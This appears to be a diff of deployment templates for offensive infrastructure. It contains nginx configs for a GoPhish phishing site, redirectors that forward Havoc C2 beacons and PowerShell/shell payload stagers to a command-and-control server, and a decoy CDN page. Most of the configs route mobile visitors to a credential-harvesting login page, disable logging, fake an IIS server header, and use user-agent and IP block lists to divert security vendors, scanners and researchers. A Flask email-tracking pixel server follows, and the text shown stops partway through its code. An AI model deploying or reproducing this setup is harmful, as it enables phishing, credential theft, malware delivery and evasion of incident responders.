ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# Security headers to appear legitimate
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
# Block security scanners
if ($is_security_scanner) {
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
}
# Geo-blocking
if ($allowed_country = 0) {
return 403;
}
# Rate limiting
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
limit_req zone=phishing burst=20 nodelay;
# GoPhish tracking and landing pages
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Phishing landing pages
location / {
proxy_pass http://{{ phishing_web_ip }}:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Block direct access to sensitive paths
location ~ /\.(git|env|htaccess|htpasswd) {
deny all;
return 404;
}
{% if zero_logs | default(true) %}
# Zero-logs configuration
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,58 @@
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 1024;
multi_accept on;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
# MIME
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Zero-logs configuration
# This completely disables all access logs
access_log off;
# Minimal error logs - critical only
error_log /dev/null crit;
# SSL Settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
# Headers to confuse fingerprinting
# Microsoft-IIS/8.5 server header to throw off analysis
add_header Server "Microsoft-IIS/8.5";
server_name_in_redirect off;
# OPSEC: Hide proxy headers
proxy_hide_header X-Powered-By;
proxy_hide_header X-AspNet-Version;
proxy_hide_header X-Runtime;
# IP Rotation and proxying
real_ip_header X-Forwarded-For;
set_real_ip_from 127.0.0.1;
# Gzip Settings
gzip off; # Disabled to avoid BREACH attack
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
@@ -0,0 +1,105 @@
server {
listen 80;
listen [::]:80;
server_name {{ redirector_domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Havoc C2 HTTP listener paths
location ~ ^/api/v[12]/ {
proxy_pass http://{{ c2_ip }}:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Havoc C2 HTTPS listener paths
location ~ ^/(dashboard|content)/ {
proxy_pass https://{{ c2_ip }}:9443;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_ssl_verify off;
}
# Payload stager paths
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Payload content paths
location ~ ^/content/(windows|linux)/(.+)$ {
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block if zero-logs is enabled
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CDN - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
color: #333;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
footer {
background-color: #2c3e50;
color: white;
text-align: center;
padding: 1em;
position: fixed;
bottom: 0;
width: 100%;
}
</style>
</head>
<body>
<header>
<h1>cdn.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network.</p>
</div>
</div>
<footer>
<p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
</footer>
</body>
</html>
@@ -0,0 +1,310 @@
# Advanced Redirector Configuration with IR Evasion
# templates/redirector-site.conf.j2
# Detect security tools by user agent
map $http_user_agent $is_security_tool {
default 0;
# Common security tools, scanners, and IR user agents
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
default 0;
# VirusTotal
"64.71.0.0/16" 1;
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
"216.239.32.0/19" 1; # Google
# Recorded Future
"104.196.0.0/14" 1; # Google Cloud
"35.184.0.0/13" 1; # Google Cloud
# Censys
"198.108.66.0/23" 1;
"162.142.125.0/24" 1;
"167.248.133.0/24" 1;
# Shodan
"66.240.192.0/18" 1;
"71.6.135.0/24" 1;
"71.6.167.0/24" 1;
"82.221.105.6/32" 1;
"82.221.105.7/32" 1;
"93.120.27.0/24" 1;
# Symantec/Broadcom
"205.128.0.0/14" 1;
"65.165.0.0/16" 1;
# McAfee/Trellix
"161.69.0.0/16" 1;
"192.225.158.0/24" 1;
# CrowdStrike
"45.60.0.0/16" 1;
"199.66.200.0/24" 1;
# SentinelOne
"104.36.227.0/24" 1;
"104.196.0.0/14" 1;
# Microsoft Defender
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
"13.104.0.0/14" 1; # Microsoft
"40.74.0.0/15" 1; # Microsoft
"51.4.0.0/15" 1; # Microsoft
"104.40.0.0/13" 1; # Microsoft
"104.208.0.0/13" 1; # Azure
# Palo Alto
"96.88.0.0/16" 1;
"173.247.96.0/19" 1;
"216.115.73.0/24" 1;
# Qualys
"64.39.96.0/20" 1;
"64.41.200.0/24" 1;
"92.118.160.0/24" 1;
# Rapid7
"5.63.0.0/16" 1;
"38.107.201.0/24" 1;
"45.60.0.0/16" 1;
"71.6.0.0/16" 1;
"206.225.0.0/16" 1;
# Tenable/Nessus
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
"34.192.0.0/12" 1; # AWS
"54.144.0.0/12" 1; # AWS
"162.219.56.0/21" 1;
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
# FireEye/Mandiant
"23.98.64.0/18" 1;
"66.114.168.0/22" 1;
"96.43.144.0/20" 1;
"173.231.184.0/22" 1;
# Akamai
"23.0.0.0/12" 1;
"23.32.0.0/11" 1;
"104.64.0.0/10" 1;
# Cloudflare
"104.16.0.0/12" 1;
"173.245.48.0/20" 1;
# Academic Research Networks
"128.32.0.0/16" 1; # UC Berkeley
"128.59.0.0/16" 1; # Columbia University
"128.112.0.0/16" 1; # Princeton University
"128.138.0.0/16" 1; # University of Colorado
"128.197.0.0/16" 1; # Boston University
"146.186.0.0/16" 1; # Carnegie Mellon
}
# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
}
# Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
# Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_ssl_verify off;
# Implement artificial delay for suspicious connections
if ($delay_response) {
limit_rate 1k; # Slow down response
}
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
# Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
# Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Redirect specific payload formats based on client OS
location ~ ^/download/payload$ {
if ($http_user_agent ~* windows) {
return 302 /content/windows/$win_exe;
}
if ($http_user_agent ~* linux) {
return 302 /content/linux/$linux_bin;
}
# Default fallback for unknown OS
return 302 /;
}
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
limit_except GET { deny all; }
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'none'" always;
add_header X-Frame-Options "DENY" always;
add_header Server "Microsoft-IIS/10.0" always;
autoindex off;
access_log off;
}
# Credential harvesting login page
location ~ ^/login/auth\.html$ {
root /var/www;
try_files $uri =404;
add_header X-Frame-Options "DENY" always;
}
# Protect credential processing script
location ~ ^/login/process\.php$ {
# Allow POST only
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Block direct access to sensitive files
location ~ \.(enc|key|pem|log)$ {
deny all;
return 404;
}
{% if setup_integrated_tracker | default(false) | bool %}
# Email tracker pixel only (not exposing dashboard)
location ~ ^/px/(.+)\.png$ {
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
proxy_http_version 1.1;
proxy_set_header Host {{ tracker_domain }};
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto https;
# Cache control for tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
expires -1;
}
{% endif %}
# Primary location for legitimate website traffic
# This acts as a catch-all for non-matching URIs
location / {
# Check if this is potentially an attempt to access a non-existent payload
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
# If invalid payload URI, redirect to real target
return 302 https://www.{{ domain }};
}
# Otherwise serve legitimate content
try_files $uri $uri/ =404;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Make server appear as IIS
add_header Server "Microsoft-IIS/10.0";
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,298 @@
# Advanced Redirector Configuration with IR Evasion
# templates/redirector-site.conf.j2
# Detect security tools by user agent
map $http_user_agent $is_security_tool {
default 0;
# Common security tools, scanners, and IR user agents
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
default 0;
# VirusTotal
"64.71.0.0/16" 1;
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
"216.239.32.0/19" 1; # Google
# Recorded Future & SentinelOne (merged - both use Google Cloud)
"104.196.0.0/14" 1; # Google Cloud
"35.184.0.0/13" 1; # Google Cloud
# Censys
"198.108.66.0/23" 1;
"162.142.125.0/24" 1;
"167.248.133.0/24" 1;
# Shodan
"66.240.192.0/18" 1;
"71.6.135.0/24" 1;
"71.6.167.0/24" 1;
"82.221.105.6/32" 1;
"82.221.105.7/32" 1;
"93.120.27.0/24" 1;
# Symantec/Broadcom
"205.128.0.0/14" 1;
"65.165.0.0/16" 1;
# McAfee/Trellix
"161.69.0.0/16" 1;
"192.225.158.0/24" 1;
# CrowdStrike
"45.60.0.0/16" 1;
"199.66.200.0/24" 1;
# SentinelOne
"104.36.227.0/24" 1;
# "104.196.0.0/14" 1; # Removed duplicate - already defined for Recorded Future
# Microsoft Defender
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
"13.104.0.0/14" 1; # Microsoft
"40.74.0.0/15" 1; # Microsoft
"51.4.0.0/15" 1; # Microsoft
"104.40.0.0/13" 1; # Microsoft
"104.208.0.0/13" 1; # Azure
# Palo Alto
"96.88.0.0/16" 1;
"173.247.96.0/19" 1;
"216.115.73.0/24" 1;
# Qualys
"64.39.96.0/20" 1;
"64.41.200.0/24" 1;
"92.118.160.0/24" 1;
# Rapid7
"5.63.0.0/16" 1;
"38.107.201.0/24" 1;
# "45.60.0.0/16" 1; # Removed duplicate - already defined for CrowdStrike
"71.6.0.0/16" 1; # Note: This may overlap with Shodan ranges
"206.225.0.0/16" 1;
# Tenable/Nessus
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
"34.192.0.0/12" 1; # AWS
"54.144.0.0/12" 1; # AWS
"162.219.56.0/21" 1;
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
# FireEye/Mandiant
"23.98.64.0/18" 1;
"66.114.168.0/22" 1;
"96.43.144.0/20" 1;
"173.231.184.0/22" 1;
# Akamai
"23.0.0.0/12" 1;
"23.32.0.0/11" 1;
"104.64.0.0/10" 1;
# Cloudflare
"104.16.0.0/12" 1;
"173.245.48.0/20" 1;
# Academic Research Networks
"128.32.0.0/16" 1; # UC Berkeley
"128.59.0.0/16" 1; # Columbia University
"128.112.0.0/16" 1; # Princeton University
"128.138.0.0/16" 1; # University of Colorado
"128.197.0.0/16" 1; # Boston University
"146.186.0.0/16" 1; # Carnegie Mellon
}
# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
}
# Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
# Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(9443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_ssl_verify off;
# Implement artificial delay for suspicious connections
if ($delay_response) {
limit_rate 1k; # Slow down response
}
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
# Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
# Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
limit_except GET { deny all; }
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'none'" always;
add_header X-Frame-Options "DENY" always;
add_header Server "Microsoft-IIS/10.0" always;
autoindex off;
access_log off;
}
# Credential harvesting login page
location ~ ^/login/auth\.html$ {
root /var/www;
try_files $uri =404;
add_header X-Frame-Options "DENY" always;
}
# Protect credential processing script
location ~ ^/login/process\.php$ {
# Allow POST only
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Block direct access to sensitive files
location ~ \.(enc|key|pem|log)$ {
deny all;
return 404;
}
{% if setup_integrated_tracker | default(false) | bool %}
# Email tracker pixel only (not exposing dashboard)
location ~ ^/px/(.+)\.png$ {
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
proxy_http_version 1.1;
proxy_set_header Host {{ tracker_domain }};
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto https;
# Cache control for tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
expires -1;
}
{% endif %}
# Primary location for legitimate website traffic
# This acts as a catch-all for non-matching URIs
location / {
# Check if this is potentially an attempt to access a non-existent payload
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
# If invalid payload URI, redirect to real target
return 302 https://www.{{ domain }};
}
# Otherwise serve legitimate content
try_files $uri $uri/ =404;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Make server appear as IIS
add_header Server "Microsoft-IIS/10.0";
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
# Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,22 @@
# TCP stream configuration for Havoc C2
stream {
# TCP forwarding for Havoc Teamserver
server {
listen {{ havoc_teamserver_port | default(40056) }};
proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
}
# Additional Havoc ports
server {
listen {{ havoc_http_port | default(8080) }};
proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
}
# HTTPS for Havoc - Using a different port to avoid conflicts with web server
server {
# Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS
listen {{ havoc_https_port | default(9443) }};
# Still proxy to the C2's HTTPS port
proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
}
}
@@ -0,0 +1,214 @@
#!/usr/bin/env python3
"""
Simple Email Tracking Server
A minimal Flask application that serves transparent tracking pixels
and logs email opens with metadata.
"""
import os
import json
import time
import logging
from datetime import datetime
from flask import Flask, request, send_file, render_template_string
# Configure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
logging.StreamHandler()
]
)
# Create Flask app
app = Flask(__name__)
# Directory to store tracking data
DATA_DIR = '/root/Tools/tracker/data'
os.makedirs(DATA_DIR, exist_ok=True)
# Path to 1x1 transparent pixel
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
# Create 1x1 transparent PNG if it doesn't exist
if not os.path.exists(PIXEL_PATH):
from PIL import Image
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
img.save(PIXEL_PATH)
# Path to tracking data
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
def load_tracking_data():
"""Load existing tracking data from JSON file"""
if os.path.exists(TRACKING_DATA_PATH):
try:
with open(TRACKING_DATA_PATH, 'r') as f:
return json.load(f)
except json.JSONDecodeError:
logging.error("Error loading tracking data, starting fresh")
return {}
def save_tracking_data(data):
"""Save tracking data to JSON file"""
with open(TRACKING_DATA_PATH, 'w') as f:
json.dump(data, f, indent=2)
@app.route('/pixel/<tracking_id>.png')
def tracking_pixel(tracking_id):
"""Serve a tracking pixel and log the request"""
# Get client information
user_agent = request.headers.get('User-Agent', 'Unknown')
ip_address = request.remote_addr
timestamp = datetime.now().isoformat()
referer = request.headers.get('Referer', 'Unknown')
# Log the tracking event
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
# Add tracking event to data
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
tracking_data[tracking_id] = []
tracking_data[tracking_id].append({
'timestamp': timestamp,
'ip_address': ip_address,
'user_agent': user_agent,
'referer': referer
})
save_tracking_data(tracking_data)
# Return the 1x1 transparent pixel
return send_file(PIXEL_PATH, mimetype='image/png')
@app.route('/')
def dashboard():
"""Display tracking statistics dashboard"""
tracking_data = load_tracking_data()
# Prepare data for the dashboard
stats = []
for tracking_id, events in tracking_data.items():
stats.append({
'id': tracking_id,
'views': len(events),
'last_view': events[-1]['timestamp'] if events else 'Never',
'unique_ips': len(set(e['ip_address'] for e in events))
})
# Sort by most views
stats.sort(key=lambda x: x['views'], reverse=True)
# Simple HTML dashboard template
template = """
<!DOCTYPE html>
<html>
<head>
<title>Email Tracking Dashboard</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
</style>
</head>
<body>
<div class="container">
<h1>Email Tracking Dashboard</h1>
<p>To track email opens, add this HTML to your emails:</p>
<pre>&lt;img src="https://YOUR_DOMAIN/px/YOUR_TRACKING_ID.png" height="1" width="1" /&gt;</pre>
<h2>Tracking Statistics</h2>
<table>
<tr>
<th>Tracking ID</th>
<th>Views</th>
<th>Unique IPs</th>
<th>Last View</th>
<th>Details</th>
</tr>
{% for stat in stats %}
<tr>
<td>{{ stat.id }}</td>
<td>{{ stat.views }}</td>
<td>{{ stat.unique_ips }}</td>
<td>{{ stat.last_view }}</td>
<td><a href="/details/{{ stat.id }}">View Details</a></td>
</tr>
{% endfor %}
</table>
</div>
</body>
</html>
"""
return render_template_string(template, stats=stats)
@app.route('/details/<tracking_id>')
def tracking_details(tracking_id):
"""Display detailed tracking information for a specific ID"""
tracking_data = load_tracking_data()
if tracking_id not in tracking_data:
return f"No data found for tracking ID: {tracking_id}", 404
events = tracking_data[tracking_id]
# Simple HTML template for details
template = """
<!DOCTYPE html>
<html>
<head>
<title>Tracking Details: {{ tracking_id }}</title>
<style>
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
h1, h2 { color: #333; }
table { border-collapse: collapse; width: 100%; }
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
tr:hover { background-color: #f5f5f5; }
th { background-color: #4CAF50; color: white; }
.container { max-width: 800px; margin: 0 auto; }
.back { margin-bottom: 20px; }
</style>
</head>
<body>
<div class="container">
<div class="back"><a href="/">&laquo; Back to Dashboard</a></div>
